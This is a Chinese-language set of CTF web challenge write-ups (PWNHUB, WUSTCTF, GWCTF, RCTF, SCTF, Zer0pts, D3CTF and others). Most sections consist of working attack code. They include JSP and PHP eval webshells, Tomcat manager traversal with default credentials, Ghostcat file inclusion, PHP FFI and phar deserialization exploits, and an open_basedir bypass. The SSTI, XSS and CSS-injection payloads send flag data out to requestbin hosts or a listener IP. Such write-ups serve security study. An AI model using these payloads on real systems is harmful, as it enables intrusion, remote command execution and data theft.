0x 01 [PWNHUB 公开赛 2018]傻 fufu 的工作日
题目存在源代码泄露,下载UploadFile.class.php.bak,发现使用的是PHP免扩展加密根据这篇文章介绍https://blog.csdn.net/ababab12345/article/details/90169678,使用解密工具解密,分析源代码定位到关键部分如下:
1 2 3 4 5 6 7 8 9 10 if(!in_array($filename[count($filename)-1], $this->allow_ext)) { return $this->error('只允许上传图片文件'); } .... // 用.分割文件名,只保留首尾两个字符串,防御Apache解析漏洞 $origin_name = current($filename); //返回数组中的当前单元 $ext = end($filename); //将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)。 $new_name = ($this->new_name ? $this->new_name : $origin_name) . '.' . $ext; $target_fullpath = $this->dist_path . DIRECTORY_SEPARATOR . $new_name;
判断后缀名是否在白名单中使用了$filename[count($filename) - 1]
,而最后字符合成文件名的时候使用了end($filename)
。两者的区别是,前者是通过下标来确定,后者则是返回数组的最后一个元素。可以通过数组绕过:
在跟目录得到flag
0x 02 [WUSTCTF2020]Train Yourself To Be Godly
补充知识:apache中的tomcat/webapps目录如下
manage目录是可以上传WAR文件部署服务,也就是说可以通过manage目录实现文件上传,继而实现木马上传
URL路径参数不规范引发的问题:
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
文章告诉我们可以通过 /..;/manager/html 进入到manager页面
随便加一串路径,根据报错信息得知当前的tomcat的root路径为examlpes
访问/..;/manager/html
目录穿越到 manager 需要输入密码验证,这里是弱密码 tomcat/tomcat
接下来是后台getshell过程,webshell构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
用jar cvf lxj.war webshell.jsp
命令将webshell.jsp打包成war,然后上传文件,发现回显404,根据报错信息明显路径拼结完是example/manager/html/upload,缺少一个/..;/,加一个再试。接着会发现401,未授权访问。是缺少了header里的认证,当然在成功访问后台时抓包也能看到自己的header中有认证头。 Authorization: Basic dG9tY2F0OnRvbWNhdA==
后面就是tomcat:tomcat的base64编码。继续上传,发现403。一般问题就出在cookie或者session没给,www没有目录访问权限身上。按照目前的思路来说,不会出现服务器权限不足的问题,那就只能是cookie没添。利用burpsuit从头开始抓包,在访问/..;/manager/html出现了Set-Cookie(set-Cookie的Path是指此cookie只在Path目录下起作用),那么我们403的问题就迎刃而解,只需要将/example换成Path参数指定的/manage就行,再把cookie加上就完事了。
最后访问webshell,得到flag
参考资料:
https://www.52hertz.tech/2020/03/30/wctf2020_official_wp/#train-yourself-to-be-godly-1-solves
https://www.jianshu.com/p/368d6c41a2f6
0x 03 [WUSTCTF2020]easyweb
考点
CVE-2020-1938幽灵猫文件包含
解题过程
题目打开是一个文件上传,传一个文件上传上去会返回一个之前上传的文件下载,经过测试发现此处存在任意文件读取,可以随意下载:
尝试WEB-INF下的web.xml:/download?file=../web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <context-param> <param-name>webAppRootKey</param-name> <param-value>tomcat.ajp</param-value> </context-param> <listener> <listener-class> org.springframework.web.util.WebAppRootListener </listener-class> </listener> <welcome-file-list> <welcome-file>/WEB-INF/views/index.jsp</welcome-file> </welcome-file-list> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/error</location> </error-page> </web-app>
尝试读取/etc/passwd:/download?file=../../../../../../../etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false messagebus:x:101:101::/var/run/dbus:/bin/false sshd:x:102:65534::/run/sshd:/usr/sbin/nologin systemd-timesync:x:103:104:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:104:105:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:106:107:systemd Bus Proxy,,,:/run/systemd:/bin/false
使用CVE-2020-1938exp(https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py)尝试进行文件读取。成功获取页面
注意由于靶机在内网,所以IP地址是根据Lan Domain确定的,外网IP是内网穿透绑定的
构造exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 <%@ page import="java.util.*,java.io.*"%> <% out.println("Executing command"); Process p = Runtime.getRuntime().exec("ls /"); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } %>
上传成功后利用文件包含执行木马,最后cat /flag78bt787it8b9b098j0k80k0ggg
得到flag
参考资料:
https://www.gem-love.com/ctf/2176.html#easyweb
https://www.52hertz.tech/2020/03/30/wctf2020_official_wp/#easyweb-23-solves
0x 04 [GWCTF 2019]你的名字
经过fuzz,后台强过滤匹配
,这里可以用if语句绕过。黑名单过滤如下
1 2 3 4 5 6 7 8 9 10 blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for', ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local', 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'] for no in blacklist: while True: if no in s: s = s.replace(no, '') else: break return s
这个逻辑是按顺序针对每个关键词过滤,只能应付双写绕过,可以用列表的最后一项来绕过过滤,payload如下:
1 {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl http://http.requconfigestbin.buuoj.cn/1inhq4f1 -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %}
过滤之后最终的脚本如下:
1 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.requestbin.buuoj.cn/1inhq4f1 -d `cat /flag_1s_Hera`;') %}1{% endif %}
0x 05 [RCTF 2019]Nextphp
查看php配置信息,版本是7.4,同时发现过滤了大多数系统函数
没有过滤scandir函数,payload:?a=var_dump(scandir('/var/www/html'));
利用file_get_contents()查看preload.php源码,payload:a=echo file_get_contents('preload.php');
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ]; private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { throw new \Exception('No implemented'); } }
分析代码是:PHP7.4新特性:新的自定义对象序列化机制:关于serialize和 unserialize
观察代码,发现对象反序列化时会执行run()方法
1 2 3 private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); }
同时发现可以结合__get魔法函数,获取对象data数组中的元素值
1 2 3 public function __get ($key) { return $this->data[$key]; }
根据题目文件名称提示关注php7.4的新特性,关于opcache.preload
,参考这篇文章https://wiki.php.net/rfc/preload 可知
opcache.preload 是 PHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。
在这篇文档尾巴可以看到如下描述:
In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones
大概意思就是说允许在 preload 文件中使用 FFI 拓展,但是文档中说了 FFI 是一个危险的拓展,而这道题目却开启了 FFI 拓展。
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => 'int system(const char *command);' ]; public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __construct () { } } $a = new A(); echo urlencode(serialize($a));
最终payload如下:
1 a=$a%3dunserialize('C%3A1%3A%22A%22%3A95%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A32%3A%22int+system%28const+char+%2Acommand%29%3B%22%3B%7D%7D')->ret;var_dump($a->system("cat%20/flag>b.txt"));
最后访问b.txt得到flag
参考资料:
https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp
https://blog.csdn.net/qq_41809896/article/details/90384668
https://cjm00n.top/CTF/buuoj-writeup-2.html
0x 06 [SCTF2019]Flag Shop
页面打开是一个购买flag的页面,flag需要1e+27个JinKela才能购买,数量不够。访问robots.txt发现filebak目录,访问得到页面源代码
审计代码发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 get "/work" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result end end
如果传入的do参数和name参数一致,会输出{params[:name][0,7]} working successfully!
但是限制了只能输入7个字符,除去<%==>只有两个字符可以利用,这时可以利用ruby全局变量$&,可以获得上一次正则匹配的结果
payload:/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
成功拿到secret,接着伪造cookie
回到页面,buy flag,抓包将伪造的cookie写进去,在返回的包里拿到新的cookie,解密得到flag
参考资料:
https://github.com/ev0A/SCTF2019-Flag-Shop/blob/master/Write-Up/write-up.md
0x 07 [NESTCTF 2019]Love Math 2
1 2 3 4 5 6 7 8 9 10 11 <?php $payload = [‘abs‘, ‘acos‘, ‘acosh‘, ‘asin‘, ‘asinh‘, ‘atan2‘, ‘atan‘, ‘atanh‘, ‘bindec‘, ‘ceil‘, ‘cos‘, ‘cosh‘, ‘decbin‘ , ‘decoct‘, ‘deg2rad‘, ‘exp‘, ‘expm1‘, ‘floor‘, ‘fmod‘, ‘getrandmax‘, ‘hexdec‘, ‘hypot‘, ‘is_finite‘, ‘is_infinite‘, ‘is_nan‘, ‘lcg_value‘, ‘log10‘, ‘log1p‘, ‘log‘, ‘max‘, ‘min‘, ‘mt_getrandmax‘, ‘mt_rand‘, ‘mt_srand‘, ‘octdec‘, ‘pi‘, ‘pow‘, ‘rad2deg‘, ‘rand‘, ‘round‘, ‘sin‘, ‘sinh‘, ‘sqrt‘, ‘srand‘, ‘tan‘, ‘tanh‘]; for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; echo($payload[$k]."^$i$j"."==>$exp"); echo "<br />"; } } }
最终payload
1 /index.php?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>
参考资料:
https://www.cnblogs.com/yesec/p/12664136.html
0x 08 [Zer0pts2020]Can you guess it?
打开题目访问源代码进行审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } //$_SERVER['PHP_SELF']表示当前php文件相对于网站根目录的位置地址 if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); //basename() 函数返回路径中的文件名部分 exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?>
问题出在了basename()函数可以跨目录读取文件,但是需要绕过正则,这里可以用污染绕过,贴一下y1ng师傅的fuzz脚本:
1 2 3 4 5 6 7 8 #!/usr/bin/env python import requests for i in range (0,500): url = 'http://814589eb-4094-4449-bf79-39388aa86610.node3.buuoj.cn/index.php/config.php/{}?source'.format(hex(i).replace('0x', '%')) r = requests.get(url) print(url) if r"flag" in r.text: print(r.content)
可以fuzz出很多可以用的参数
0x 09 [Zer0pts2020]musicblog
下载题目附件进行审计,在work.js中发现存在flag且设置在浏览器UA中,后台机器人会点击#like
标签
审计utli.php
发现
字符串会被加载到<audio>
标签并解析到页面,输入的内容经过一次strip_tags处理。
没有过滤其他内容,可以在``中插入任意内容,但是受CSP-nonce的限制
1 2 3 4 $nonce = get_nonce(); header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types"); header('X-Frame-Options: DENY'); header('X-XSS-Protection: 1; mode=block');
而这个strip_tags()
存在bug:https://bugs.php.net/bug.php?id=78814
MusicBlog 中使用的是<audio>
作为白名单,<a/udio>
可以通过函数处理,并且<a/udio>
会作为 超链接<a>
被解析
1 ></audio><a/udio href="http://http.requestbin.buuoj.cn/vtaf6wvt" id="like">test</a/udio><audio a=
经过处理后展开是
1 <audio controls src=""></audio><a/udio href="http://http.requestbin.buuoj.cn/vtaf6wvt" id="like">test</a/udio><audio a=""></audio>
参考资料:
https://www.hpdoger.cn/2020/03/10/Zer0pts%202020%20CTF-Web%E9%A2%98%E8%A7%A3/#MusicBlog
https://darkwing.moe/2020/03/10/MusicBlog-zer0pts-CTF-2020/
0x 10 [安洵杯 2019]cssgame
打开靶机,显示界面如下:
右键查看源代码发现:
可以看到flag的值就在标签<input>
的value
属性
然后我们通过靶机发送css
参数给内网的flag.html,flag.html接收后将css
拼接到:
1 <link rel="stylesheet" href="${encodeURI(req.query.css)}" />
通过css injection 来窃取内网flag值,这里可以参考微笑师傅的文章:https://www.smi1e.top/%e9%80%9a%e8%bf%87css%e6%b3%a8%e5%85%a5%e7%aa%83%e5%8f%96html%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae/
构造exp如下
1 2 3 4 5 6 7 8 9 import sys f = open("poc.css", "w") dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-" for i in dic: flag = sys.argv[1] + i payload = "input[name=flag][value^=\"" + flag + "\"] ~ * {background-image: url(\"http://174.0.108.172:8080/?" + flag + "\");}" f.write(payload + "\n") f.close()
将css=http://174.0.108.172/poc.css
post给crawl.html
,在nc监听中可以得到flag
这里环境问题数据可能会传不到内网,需要不停的发包直至收到nc收到请求的信息,坑了我一上午,我裂开了
参考资料:
https://yanmymickey.github.io/2020/04/17/CTFwp/%5B%E5%AE%89%E6%B4%B5%E6%9D%AF%202019%5Dcssgame/
0x 11 [D3CTF 2019]EzUpload
题目给了源代码,首先进行审计,发现接受三个参数将文件写入,同时对输入的进行了检查
checkdir()
检查了$this->userdir
,
checkurl()
禁止了url出现php|file
,防止使用两种伪协议读取本地文件,除了vps上设置文件还可以使用data://
协议
checkext()
禁止了filename
出现..
、/
、ph
,可以联想到使用.htaccess,但是对内容进行了过滤
1 2 3 if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){ die('hacker!!!'); }
可以参考:https://www.freebuf.com/vuls/218495.html
传入:
1 AddHandler php7-script .txt
另外有一个问题是__destruct
这个魔术方法,如果序列化对象的时候触发,当前的工作路径是根目录/
,因此没有写入权限
第一步,寻找phar反序列化触发点,可以通过upload()
方法中的 $content = file_get_contents($this->url,NULL,NULL,0,2048);
第二步,获取upload/
目录的绝对路径,可以通过__destruct()
中的 echo $string;
触发__toString()
,打印__DIR__
payload1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class dir{ public $userdir; public $url; public $filename; } $d = new dir(); $d->userdir = new dir(); $d->userdir->userdir = "../"; echo urlencode(serialize($d)); $phar = new Phar("1.phar"); $phar->startBuffering(); $phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测 $phar->setMetadata($d); //将自定义meta-data存入manifest $phar->addFromString("test.jpg", "test"); //添加要压缩的文件 $phar->stopBuffering(); ?>
将生成的phar文件重命名为1,gzip压缩后上传到内网服务器:
1 scp -P 28396 /var/www/html/1.gz root@node3.buuoj.cn:/var/www/html/
然后上传文件
触发反序列化,得到实际文件路径为:/var/www/html/6dfe08eda761bd32/upload/48cd8b43081896fbd0931d204f947663
构造shell如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class dir{ public $userdir; public $url; public $filename; public function __construct(){ $this->filename = '/var/www/html/67e103b0761e6068/upload/48cd8b43081896fbd0931d204f947663/lanxiaojun'; $this->userdir = 'zzzzzzzzz<?php eval($_POST["xxx"]); ?>zzzzzzzzzzz'; $this->url = '1'; } } $d = new dir(); echo urlencode(serialize($d)); $phar = new Phar("lanxiaojun.phar"); $phar->startBuffering(); $phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测 $phar->setMetadata($d); //将自定义meta-data存入manifest $phar->addFromString("test.jpg", "test"); //添加要压缩的文件 $phar->stopBuffering(); ?>
这里需要注意的是我们用gzip压缩的时候,刚好含有一些特殊字符,如\
等,可以在原来的数据中增加一些额外的数据来绕过。同样的方法上传,触发反序列化。
接着是上传.htaccess
1 action=upload&url=data://text/plain;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0&filename=.htaccess
访问shell的页面,绕过open_basedir和disable_function
,拿到flag
1 chdir('..');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));echo file_get_contents('F1aG_1s_H4r4');
参考资料:
https://glotozz.github.io/2020/04/02/buuctf-wp/#d3ctf-2019ezupload
https://blog.csdn.net/a3320315/article/details/104423207
https://nikoeurus.github.io/2019/11/26/D%5E3ctf-Web/#ezupload